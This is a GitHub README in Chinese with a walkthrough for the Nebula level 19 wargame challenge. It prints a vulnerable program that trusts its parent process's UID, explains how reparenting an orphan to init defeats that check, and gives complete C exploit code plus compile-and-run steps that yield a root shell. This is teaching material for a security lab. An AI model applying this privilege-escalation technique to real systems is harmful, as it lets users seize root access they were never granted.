John-64/Nebula19-Walkthrough
GitHub: John-64/Nebula19-Walkthrough
Nebula Level 19 的漏洞利用 writeup,通过进程重新挂靠实现特权提升,演示了依赖父进程 UID 校验的安全缺陷。
Stars: 1 | Forks: 0
# Nebula 19:当孤儿进程成为 root
下面的程序在运行方式上存在一个缺陷。
要通过此关,请使用账号 level19 和密码 level19 登录。此关卡的文件可以在 `/home/flag19` 中找到。
## 源代码
```
#include
#include
#include
#include
#include
#include
#include
int main(int argc, char **argv, char **envp)
{
pid_t pid;
char buf[256];
struct stat statbuf;
/* Get the parent's /proc entry, so we can verify its user id */
snprintf(buf, sizeof(buf)-1, "/proc/%d", getppid());
/* stat() it */
if(stat(buf, &statbuf) == -1) {
printf("Unable to check parent process\n");
exit(EXIT_FAILURE);
}
/* check the owner id */
if(statbuf.st_uid == 0) {
/* If root started us, it is ok to start the shell */
execve("/bin/sh", argv, envp);
err(1, "Unable to execve");
}
printf("You are unauthorized to run this program\n");
}
```
## 解析
此关卡在程序验证用户权限的方式上存在一个漏洞。
程序没有检查执行二进制文件的真实用户,而是通过检查 `/proc/` 并读取 `st_uid` 字段来信任父进程的 UID。
这产生了一个权限提升漏洞:通过强制父进程终止,子进程会成为孤儿进程并被 init(PID 1)收养,而 init 是以 root 身份运行的。
由于 init 的 UID 是 0,检查会成功通过,程序随后会授权访问一个特权 shell。
此关卡的目标是利用这种薄弱的父进程验证机制并执行 `/bin/getflag`。
### 漏洞
存在漏洞的检查代码如下:
```
if(statbuf.st_uid == 0)
```
程序假设如果父进程属于 root,执行就是被授权的。
- 这是不安全的,因为父进程可以通过进程重新挂靠被操纵。
#### 进程重新挂靠
在 Unix 系统中,每个进程都有一个父进程。当父进程在其子进程之前终止时,子进程并不会消失。相反,它会成为一个孤儿进程,并被自动“收养”到 `init`(PID 1)——即内核启动的第一个进程。
这种机制被称为**进程重新挂靠**。由于 `init` 是以 root 权限(UID 0)运行的,因此任何仅基于父进程所有权的权限安全检查都会变得不可靠。
在此关卡中,程序使用 `/proc/` 检查父进程的 UID。通过杀死原始父进程,子进程会被重新挂靠到 `init`,从而导致 UID 检查成功通过。
## 漏洞利用策略
1. 使用 `fork()` 创建一个子进程;
2. 使用 `kill(getppid(), SIGKILL)` 杀死父进程;
3. 子进程成为孤儿进程;
4. 系统将子进程重新挂靠到 `init`(PID 1);
5. 执行 `/home/flag19/flag19`;
6. 程序检查新的父进程(`init`);
7. 由于 init 属于 root,UID 检查通过;
8. 一个特权 shell 被生成;
9. 执行 `/bin/getflag`。
## 漏洞利用代码
```
#include
#include
#include
#include
#include
int main()
{
/* Array of arguments passed to execve(): runs /bin/sh -c "/bin/getflag" */
char *args[] = { "/bin/sh", "-c", "/bin/getflag", NULL };
/* Create a child process */
pid_t pid = fork();
if (pid == 0)
{
/* Child process */
printf("Ready to kill parent process: %d\n", getppid());
/* Kill the parent process */
kill(getppid(), SIGKILL);
/* Execute the vulnerable binary */
execve("/home/flag19/flag19", args, NULL);
/* If execve fails, print the error */
perror("execve failed");
exit(EXIT_FAILURE);
} else if (pid > 0)
{
/* Parent process */
wait(NULL);
}
else
{
/* fork() failed */
perror("fork failed");
exit(EXIT_FAILURE);
}
return 0;
}
```
漏洞利用源代码可在[此处](/exploit.c)获取。
## 获取 flag
1. 首先,创建一个包含漏洞利用代码的文件:
nano exploit.c
- 将提供的漏洞利用代码粘贴到文件中并保存。
2. 使用 GCC 编译程序:
gcc exploit.c -o exploit.out
3. 运行编译好的二进制文件:
./exploit.out
- 这将触发进程链并在所需条件下执行存在漏洞的程序。
4. 一旦生成了具有提权权限的 shell,运行:
/bin/getflag
## 致谢
- [Exploit Education](https://exploit.education/nebula/level-19/)
## 许可证
本项目基于 MIT 许可证授权。有关详细信息,请参阅 LICENSE 文件。
标签:CTF Writeup, Exploit Development, Linux提权, Nebula, Orphan Process, UID检查绕过, Unix安全, Web报告查看器, 二进制分析, 云安全运维, 协议分析, 子域名枚举, 客户端加密, 提权漏洞, 本地提权, 权限提升, 父进程伪造, 系统安全, 网络安全, 进程PID绕过, 进程重新挂载, 隐私保护